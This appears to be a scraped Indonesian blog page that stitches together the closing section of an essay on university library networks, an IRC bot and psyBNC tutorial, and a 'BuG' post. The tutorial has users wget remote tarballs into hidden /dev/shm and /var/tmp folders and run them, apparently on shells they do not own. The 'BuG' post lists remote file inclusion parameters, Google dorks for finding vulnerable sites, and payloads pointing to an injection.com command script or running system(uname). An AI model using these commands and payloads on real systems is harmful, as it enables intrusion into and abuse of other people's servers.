dan tidak ada di dalamnya perpustakaan hastawi. Sebab, otomasi (searti
dengan komputerisasi) merupakan keniscayaan yang tak bisa ditawar bagi
sebuah perpustakaan elektronik. Untuk kegiatan ke dalam (ing griya),
diperlukan Local Area Network (LAN), yang berfungsi untuk menangani kegiatan
perpustakaan (library housekeeping) --seperti input data, membuat
cantuman bibliografi, mencetak katalog jika diperlukan, menangani kegiatan
administrasi, melayani peminjaman dan pengembalian (sirkulasi), menyediakan
penelusuran melalui OPAC (Online Public Access Catalogue), membuat
statistik pengunjung, dsb.-- secara terpadu. LAN juga bisa diperluas ke
berbagai bagian yang ada di perguruan tinggi, misalnya ke fakultas-fakultas,
rektorat, Puslit, dan lain-lain. Link tersebut memungkinkan mereka
mengakses langsung ke pangkalan data (database) dari tempat mereka
sendiri, tanpa harus datang ke perpustakaan.



Sedangkan untuk menghubungkan jaringan ke luar, diperlukan
Wide Area Network (WAN), dengan langkah-langkah alternatif sebagai
berikut:




  • Mengupayakan sebuah Personal Computer (PC) yang
    dilengkapi dengan x.25 card melalui Packet Assembler de-Assembler
    (PAD) agar dapat dihubungkan ke jaringan. Tujuannya agar PC itu dapat akses
    ke satu LAN atau lebih, sehingga PC menjadi workstation beberapa
    LAN secara remote access. Selain itu, PC juga dapat memanggil dan
    terhubung ke PC lain, host dan sebagainya. Artinya, satu saat PC
    tersebut dapat me-remote access ke PC lain dan pada saat lain mengakses
    ke satu LAN, host A, B, dan C yang ada di jaringan. Jadi, sistem
    ini mirip sistem ATM pada kebanyakan Bank. Misalnya, Perpustakaan IAIN
    Surabaya bisa melakukan akses langsung ke Perpustakaan IAIN Jakarta, IAIN
    Yogyakarta, Unair, Petra dan sebaliknya. Jaringan akan memberikan sambungan
    sesuai dengan nomor yang dipanggil. Penomoran jaringan bisa diatur dengan
    standar Number User Address (NUA).


  • Menghubungkan beberapa LAN ke komputer induk (host).
    Gateway server LAN yang dilengkapi dengan x.25card dan PAD dapat
    mengakses satu atau lebih host, sehingga beberapa aplikasi dan data
    yang ada di host dapat dipakai bersama oleh seluruh workstation
    yang terhubung ke LAN itu. Dengan demikian, LAN yang ada di cabang dapat
    berkomunikasi dengan beberapa cabang lain secara simultan dengan menggunakan
    sirkit virtual yang berbeda.


  • Untuk mengefektifkan kinerja jaringan, perlu dibentuk
    dua atau tiga pusat (host), misalnya host A di perpustakaan
    IAIN Surabaya, host B di UGM Yogyakarta, host C di IAIN Jakarta,
    dan sebagainya. Para host ini bertindak selaku koordinator, sekaligus
    berfungsi sebagai antar muka (inter-face) yang menghubungkan kepentingan
    anggota yang satu dengan lainnya.


  • Memasang dan mengaktifkan internet.



 Model jaringan di atas mengasumsikan hubungan
antara anggota (simpul/nodes) secara terpusat terbagi.
Host-host tersebut berperan sebagai antar muka yang menghubungkan
komunikasi jaringan antara simpul yang satu dengan lainnya di host
lain. Host juga berperan mendistribusikan informasi kepada simpul.
Informasi di sini bisa berupa daftar bibliografi bahan pustaka (melalui
OPAC), artikel majalah dan informasi ilmiah lainnya (melalui CD-Net), electronic
mail
, electonic bulletin board system, electronic conferencing,
dan lain-lain. Semua informasi tersebut bisa di-download (diambil)
atau di-upload (dikirim).



 



PENUTUP



Analisis terhadap penarapan TI dalam sistem jaringan perpustakaan
perguruan tinggi di Indonesia dan kemungkinan penerapannya, menunjukkan
bahwa TI memberikan kemudahan luar biasa kepada pengguna untuk mengakses
informasi lintas batas. Di sisi lain TI, juga memberikan kemudahan bagi
pengelola informasi (pustakawan) untuk mengolah, menyimpan dan menyebarkannya.
Selain itu, TI juga menjadi sarana membangun perpustakaan elektronik yang
kehadirannya tidak bisa dihindari. Dengan mensurvey beberapa perpustakaan
perguruan tinggi di Indonesia, didapatkan gambaran tentang kesiapan perpustakaan
perguruan tinggi menyambut "makhluk baru" dalam dunia informasi
yaitu perpustakaan elektronik. Terbentuknya jaringan informasi --dan perpustakaan
elektronik di dalamnya-- sangat diperlukan bagi perguruan tinggi, guna
memberikan akses yang besar kepada pemakai (mahasiswa, dosen, peneliti)
terhadap perkembangan pengetahuan dari detik ke detik.



Keniscayaan untuk membentuk learning society di
perguruan tinggi, salah satu caranya ialah dengan meningkatkan kemampuan
menggunakan TI, dan selalu mengikuti perkembangannya. Bahan pustaka dalam
bentuk elektronik perlu diperbanyak, agar selain memperbesar akses terhadap
informasi juga mempermudah pengelolaannya. Yang tidak kalah penting lagi
adalah dengan semua itu, meningkatlah kualitas dan citra perguruan tinggi.
@

Continue reading...

TUTOR BOOT AND PSYBNC BY ARJUNA^GANTENG






















TUTOR BOT TCL :ARJUNA^GANTENG POWERED by: #SeMaRaNgLoVe .dal.net

=====================================================================================
comand 2x dasar untuk server linux dan free Bsd
-----------------------------------------------
untuk load file kedalam shell : wget,lwp-download , curl -f -O ,dan fetch
untuk melihat direktori yg tidak permission denied : find / -type d -perm 777
untuk membuat direktori baru untuk directory yes : mkdir nama file contoh : mkdir Randhu
untuk melihat semua file dalam sebuah direktory : ls -alF
untuk melihat ip shell : /sbin/ifconfig | grep inet
Tcl bot untuk server : linux

tc bot busuk:
------------
1 cd /dev/shm;wget http://www.freewebtown.com/randhu/Bot/busuk.tar.gz
2 cd /dev/shm;tar zxvf busuk.tar.gz
3 cd /dev/shm;rm -fr busuk.tar.gz
4 cd /dev/shm/.dev12;./nadya busuk.txt nama bot ident ip chanel owner bot
5 cd /dev/shm/.dev12;./dssl busuk.txt
contoh langkah ke 4 ;cd /dev/shm/.dev12;./nadya busuk.txt PutraStekom randhu 200.226.246.22 semaranglove randhu

*tcl Chanary
------------
1 cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/chanarybot.tar.gz
2 cd /var/tmp;tar -zxvf chanarybot.tar.gz
3 cd /var/tmp;rm -fr busuk.tar.gz
4 cd /var/tmp/.dat;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5 cd /var/tmp/.dat;./dssl a.txt
contoh langkah ke 4 ; cd /var/tmp/.dat;./nadya a.txt PutraSemaranglove randhu 202.148.11.99 semaranglove randhu

tcl NeTgate
-----------
1 cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/dalnet.tgz
2 cd /var/tmp;tar -zxvf dalnet.tgz
3 cd /var/tmp;rm -rf dalnet.tgz
4 cd /var/tmp/irclordz;./nadya config.txt nick ident shellsnya channel owner
5 cd /var/tmp/irclordz;./dssl config.txt
contoh langkah ke 4 ; cd /var/tmp/irclordz;./nadya config.txt PutraSemaranglove randhu 202.148.11.99 semaranglove randhu

Tcl Samseng
-----------
1. cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/samseng.tgz
2. cd /var/tmp;tar zxfv samseng.tgz
3. cd /var/tmp;rm -fr samseng.tgz
4. cd /var/tmp/.sh;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.sh;./dssl a.txt
contoh langkah ke 4 ;cd /var/tmp/.sh;./nadya a.txt PutraSemaranglove randhu 202.148.11.99 semaranglove randhu

menambahkan TCL
--------------
untuk tcl bisa langsungload :
cd /var/tmp/.dat/scripts;wget http://www.freewebtown.com/randhu/Bot/PortCheck2.0.tcl
cd /var/tmp/.dat;./tcl -t a.txt PortCheck2.0.tcl
cd /var/tmp/.dat/scripts;wget http://www.freewebtown.com/randhu/Bot/detik.tcl (bisa pilih tcl yg kita inginkan)
cd /var/tmp/.dat;./tcl -t a.txt detik.tcl

setelah tcl selesai di load tinggal pv bot dan ketik: rehash

*untuk psy server linux:
------------------------
1 cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/AhoK.tar.gz
2 cd /var/tmp;tar -zxvf AhoK.tar.gz
3 cd /var/tmp;rm -fr AhoK.tar.gz
4 cd /var/tmp/AhoK;./config Randhu 7000
5 cd /var/tmp/AhoK;./fuck
6 cd /var/tmp/AhoK;./run

setelah selesai run langsung konek ajah /server ip (port)

*untuk server BsD:
------------------
1. cd /var/tmp;lwp-download http://www.freewebtown.com/randhu/Bot/bsd.tar.gz
cd /var/tmp;fetch http://www.freewebtown.com/randhu/Bot/bsd.tar.gz
2. cd /var/tmp;tar -zxvf bsd.tar.gz
3. cd /var/tmp;rm -fr bsd.tar.gz
4. cd /var/tmp/.psy;./config (PORT)
5. cd /var/tmp/.psy;./fuck
6. cd /var/tmp/.psy;./run

setelah selesai run langsung konek ajah /server ip (port)


SamsenG Bot download :
updated: server used irc.dal.net

linux:
1. cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/samseng.tgz
2. cd /var/tmp;tar zxfv samseng.tgz
3. cd /var/tmp;rm -fr samseng.tgz
4. cd /var/tmp/.sh;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.sh;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot


freebsd:
1. cd /var/tmp;fetch http://www.freewebtown.com/randhu/Bot/samsengz.tgz
2. cd /var/tmp;tar zxfv samsengz.tgz
3. cd /var/tmp;rm -fr samsengz.tgz
4. cd /var/tmp/.sh;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.sh;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot

SamsenG Bot download :
updated: server used irc.allnetwork.org

linux:
1. cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/s.tgz
2. cd /var/tmp;tar zxfv s.tgz
3. cd /var/tmp;rm -fr s.tgz
4. cd /var/tmp/.sh;./nadya a.txt (namabot) (identd) (nomerIP) (channel) (owner)
5. cd /var/tmp/.sh;./dssl a.txt
6. ./dssl namaconfig.conf -> run the bot


SamsenG Psybnc download :

linux:
1. cd /var/tmp;wget http://www.freewebtown.com/randhu/Bot/psy.tgz
2. cd /var/tmp;tar zxfv psy.tgz
3. cd /var/tmp;rm -fr psy.tgz
4. cd /var/tmp/samseng;./config (IDENTD) (PORT)
5. cd /var/tmp/samseng;./fuck
6. cd /var/tmp/samseng;./run

kalau uda dirun coba join ke #semaranglove lalu test portcheck.. example `pc (nomerIP) (PORT)

freebsd:
1. cd /var/tmp;fetch http://www.freewebtown.com/randhu/Bot/bsd.tgz
2. cd /var/tmp;tar zxfv bsd.tgz
3. cd /var/tmp;rm -fr bsd.tgz
4. cd /var/tmp/.psy;./config (PORT)
5. cd /var/tmp/.psy;./fuck
6. cd /var/tmp/.psy;./run
kalau uda dirun coba join ke #semaranglove lalu test portcheck.. example `pc (nomerIP) (PORT)
Continue reading...

..:: BuG ::..

Bug

pm/lib.inc.php?sfx= pm
pm/lib.inc.php?pm_path= pm
artmedic-kleinanzeigen-path/index.php?id= artmedic
osticket/include/main.php?include_dir= osticket
include/main.php?config[search_disp]=include_dir= include
phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]= phpcoin
quick_reply.php?phpbb_root_pat h= quick_reply.php?phpbb_root_pat h=
zboard/include/write.php?dir= zboard
PATH/admin/plog-admin-functions.php?configbasedir= PATH
path_to_phpgreetz/content.php?content= path_to_phpgreetz
path_to_qnews/q-news.php?id= qnews
_conf/core/common-tpl-vars.php?confdir= core
votebox.php?VoteBoxPath= votebox.php?VoteBoxPath=
al_initialize.php?alpath= al_initialize.php?alpath=
include/db.php?GLOBALS[rootdp]= include
modules/news/archivednews.php?GLOBALS[language_home]= news
protection.php?siteurl= protection.php?siteurl=
modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]= AllMyGuests
classes.php?LOCAL_PATH= classes.php?LOCAL_PATH=
extensions/moblog/moblog_lib.php?basedir= moblog
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]= newbb_plus
phpWebLog/include/init.inc.php?G_PATH= phpWebLog
admin/objects.inc.php4?Server= admin
trg_news30/trgnews/install/article.php?dir= trgnews
block.php?Include=
block.php?Include= block.php?Include=
path_to_gallery/setup/index.php?GALLERY_BASEDIR= gallery
include/help.php?base= include
path_to_script/block.php?Include= block.php?Include=
examples/phonebook.php?page= phonebook.php?page=
examples/phonebook.php?page= examples
PHPNews/auth.php?path= PHPNews
include/print_category.php?dir= print_category.php?dir=
skin/zero_vote/login.php?dir= zero_vote
skin/zero_vote/setup.php?dir= zero_vote
skin/zero_vote/ask_password.php?dir= zero_vote
gui/include/sql.php?include_path= gui
webmail/lib/emailreader_execute_on_each_pa ge.inc.php?emailreader_ini= webmail
email.php?login=cer_skin= email.php?login=cer_skin=
PhotoGal/ops/gals.php?news_file= PhotoGal
oneadmin/config.php?path[docroot]= oneadmin
skin/zero_vote/setup.php?dir= skin
xcomic/initialize.php?xcomicRootPath= xcomic
skin/zero_vote/error.php? dir= skin
admin_modules/admin_module_captions.inc.php? config[path_src_include]= admin_modules
admin_modules/admin_module_rotimage.inc.php? config[path_src_include]= admin_modules
admin_modules/admin_module_delcomments.inc.p hp?config[path_src_include]= admin_modules
admin_modules/admin_module_delimage.inc.php? config[path_src_include]= admin_modules
admin_modules/admin_module_deldir.inc.php?co nfig[path_src_include]= admin_modules
src/index_overview.inc.php?config[path_src_include]= src
src/index_leftnavbar.inc.php?confi g[path_src_include]= src
src/image-gd.class.php?config[path_src_include]= src
src/image.class.php?config[path_src_include]= src
src/album.class.php?config[path_src_include]= src
src/show_random.inc.php?config[path_src_include]= src
yappa-ng/src/index_overview.inc.php?config[path_src_include]= yappa
phpgedview/help_text_vars.php?PGV_BASE_DI RECTORY= phpgedview
dotproject/modules/files/index_table.php?root_dir= dotproject
CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]= CubeCart
inc/formmail.inc.php?script_root= formmail.inc.php?script_root=
e107/e107_handlers/secure_img_render.php?p= e107
path_of_cpcommerce/_functions.php?prefix= cpcommerce
p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM= uppc
yabbse/Sources/Packages.php?sourcedir= yabbse
gadgets/Blog/BlogModel.php?path=
gadgets/Blog/BlogModel.php?path= gadgets
learnlinc/clmcpreload.php?CLPATH= learnlinc
modernbill/samples/news.php?DIR= modernbill
family/phpgedview/index.php?PGV_BASE_DIRECTORY= phpgedview
nucleus/libs/globalfunctions.php?DIR_LIBS= nucleus
Popper/index.php?childwindow.inc.php? form= Popper
becommunity/community/index.php?pageurl= becommunity
catalog/includes/include_once.php?include_file= catalog
zb41/include/write.php?dir= zb41
phpprojekt/lib/authform.inc.php?path_pre= phpprojekt
achievo/atk/javascript/class.atkdateattribute.js.php? config_atkroot= achieve
globals.php3?LangCookie=.examp le.com
/main.php?sayfa= inurl:main.php?sayfa=
/zipndownload.php?PP_PATH= Powered by: PhotoPost PHP 4.6
skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer CMS
/components/com_facileforms/facileforms.frame.php?ff_compath= allinurl:com_facileforms site:.ar
main.php?open=
main.php?open=
/surveys/survey.inc.php?path= inurl:surveys
components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?
mosConfig_absolute_p ath= com_mtree
index_principal.php?pagina= index_principal.php?pagina=
template.php?name= template.php?name=
main.php?link= main.php?link=
index.php?open= index.php?open=
index.php?visualizar= index.php?visualizar=
index.php?screen= index.php?screen=
index.php?Load= index.php?Load=
index.php?Language= index.php?Language=
index2.php?DoAction= index2.php?DoAction=
index0.php?show= index0.php?show=
index2.php?x= index2.php?x=
al_initialize.php?alpath= Powered by AutoLinks Pro
components/com_performs/performs.php?mosConfig_absolute_path= com_performs
1. allinurl:my_egallery site:.org
my_egallery: /modules/My_eGallery/public/displayCategory.php?
basepath=http://www.injection.com/cmd?
2. allinurl:xgallery site:.org
xgallery: /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
3. allinurl:coppermine site:.org
coppermine: /modules/coppermine/themes/default/theme.php?
THEME_DIR=http://www.injection.com/cmd?
4. allinurl:4nAlbum site:.org
4nAlbum: /modules/4nAlbum/public/displayCategory.php?basepath=
5. allinurl:PNphpBB2 site:.org
6. allinurl:/modules.php?name=allmyguests
AllMyGuests: /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
7. allinurl:/Popper/index.php?
/Popper/index.php? : /Popper/index.php?childwindow.inc.php?form=
8. allinurl:kietu/hit_js.php
kietu/index.php?kietu[url_hit]=http://www.injection.com/cmd?
9. keyword : "Powered by phpBB 2.0.6"
&highlight=%2527.include($_GET[a]),exit.%2527&a=http://www.injection.com/cmd?
10. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=
11. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=http://www.injection.com/cmd?
12. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://www.injection.com/cmd?
13. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://www.injection.com/cmd?

15. allinurl:/includes/orderSuccess.inc.php?glob=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=
allinurl:ihm.php?p=http://www.injection.com/cmd?
16. allinurl:modules.php?name=Forums
/modules.php?name=http://www.injection.com/cmd?
17. allinurl:.php?bodyfile=
18. allinurl:/default.php?page=home
19. allinurl:/folder.php?id=
20. allinurl:main.php?pagina=
21. allinurl:AshNews atau allinurl: /ashnews.php
22. allinurl:ihm.php?p=*
23. inurl:option=frontpage
/index.php?option=frontpage&Itemid=system(uname) index.php?option=
frontpage&Itemid=system(ls)
24. allinurl:shoutbox/expanded.php filetype:php
/shoutbox/expanded.php?conf=
25. inurl:option=frontpage
index.php?option=frontpage&Itemid=system(uname) index.php?option=
frontpage&Itemid=system(ls)
26. allinurl:shoutbox/expanded.php filetype:php
/shoutbox/expanded.php?conf=
Nah berikut ini salah satu bisa kamu coba juga untuk menginject:
=====================================================================
http://www.target.com/admin_modules/admin_module_captions.inc.php?config[path_src_include]=
http://www.target.com/admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=
http://www.target.com/admin_modules/admin_module_edit.inc.php?config[path_src_include]=
http://www.target.com/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
http://www.target.com/src/index_overview.inc.php?config[path_src_include]=
http://www.target.com/src/image-gd.class.php?config[path_src_include]=
http://www.target.com/src/album.class.php?config[path_src_include]=
http://www.target.com/src/show_random.inc.php?config[path_src_include]=
http://www.target.com/src/main.inc.php?config[path_src_include]=
http://www.target.com/src/index_passwd-admin.inc.php?admin_ok=1&config[path_admin_include]=
Target :
========
Temukan target nya di google dengan keyword:
1.allinurl:*.php?page=*
2.allinurl:*.php?content=*
3.allinurl:*.php?file=*
4.allinurl:*.php?filename=*
5.allinurl:*.php?link=*
6.allinurl:*.php?view=*
7.allinurl:*.php?sec=*
8.allinurl:*.php?document=*
9.allinurl:*.php?p=*
10.allinurl:*.php?x=*
Exploit:
=========
1.http://www.target.com/target.php?page=Injekan
2.http://www.target.com/target.php?content=injekan
3.http://www.target.com/target.php?file=
4.http://www.target.com/target.php?filename=
5.http://www.target.com/target.php?link=
6.http://www.target.com/target.php?view=
7.http://www.target.com/target.php?sec=
8.http://www.target.com/target.php?documet=
9.http://www.target.com/target.php?p=
10.http://www.target.com/target.php?x=
Palembang Security Hackers
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/include/new-visitor.inc.php?lvc_include_dir=
/path_of_cpcommerce/_functions.php?prefix
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/agendax/addevent.inc.php?agendax_path=
/shoutbox/expanded.php?conf=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/main.php?x=
/index.php/main.php?x=
/index.php?include=
/index.php?x=
/index.php?open=
/index.php?visualizar=
/template.php?pagina=
/index.php?pagina=
/index.php?inc=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/include/new-visitor.inc.php?lvc_include_dir=
/path_of_cpcommerce/_functions.php?prefix
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/agendax/addevent.inc.php?agendax_path=
/shoutbox/expanded.php?conf=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/main.php?x=
/index.php/main.php?x=
/index.php?open=
/index.php?visualizar=
/template.php?pagina=
/index.php?pagina=
/index.php?inc=
Mais Strings
index.php?leng=
index.php?page=
index.php?rev=
index.php?main=
index.php?show=
index.php?x=
index.php?inc=
index.php?menu=
index.php?aktie=
index.php?s=
index.php?p=
index.php?principal=
index.php?url=
index.php?file=
index.php?do=
index.php?side=
index.php?f=
index.php?display=
index.php?webpage=
index.php?content=
index.php?source=
index.php?texto=
index.php?go=
index.php?contents=
index.php?meio=
index.php?miolo=
index.php?section=
index.php?configFile=
index.php?op=
index.php?id=
index.php?corpo=
index.php?article=
index.php?Itemid=
index.php?product_id=
index.php?lang=
index.php?showtopic=
index.php?option=
index.php?link=
index.php?module=
index.php?submenu=
index.php?cat=
index.php?visualizar=
index.php?open=
index.php?include=
/phplinks/index.php?show=
blank.php?path=
site.php?content=
impresion.php?f1=
topicos.php?area=
/shoutbox/expanded.php?conf=

becommunity/community/index.php?pageurl=
/bb_lib/checkdb.inc.php?libpllery/public/displayCategory.php?basepath=
becommunity/community/index.php?pageurl=
/bb_lib/checkdb.inc.php?libpach=
livre_include.php?no_connect=lol&chem_absolu=
cutenews/inc/shows.inc.php?cutepath=
admin/common.inc.php?base_path=
sources/login.php?fil_config=
moosegallery/display.php?type=
pictures.php?x=
base.php?menu=
main.php?page=
main.php?file=
main.php?ver=
main.php?dir=
main.php?side=
main.php?doc=
main.php?x=
main.php?lk=
main.php?pbody=
main.php?menu=
main.php?op=
mainfile.php?MAIN_PATH=
padrao.php?conteudo=
pages.php?content=
page.php?page=
print.php?pagename=
home.php?x=
disb.php?lugar=
index2.php?secao=
index2.php?center=
index2.php?content=
index2.php?area=
index2.php?link=
index2.php?id=
strings em sites?
index2.php?fight=
index2.php?id=
index2.php?music=
index2.php?record=
index2.php?p=
index2.php?home=
index2.php?site=
index2.php?radio=
site.php?Tipo=
site.php?nav=
site.php?comsocial=
site.php?pagina=
site.php?opcao= site.php?menu=
site.php?area=
template.php?pagina=
modules.php?name=
index1.php?link=
index1.php?center=
index1.php?inside=
Continue reading...
 

Friends

Followers

Fave This

WEB MASTER Copyright © 2009 Not Magazine 4 Column is Designed by Ipietoon Sponsored by Dezigntuts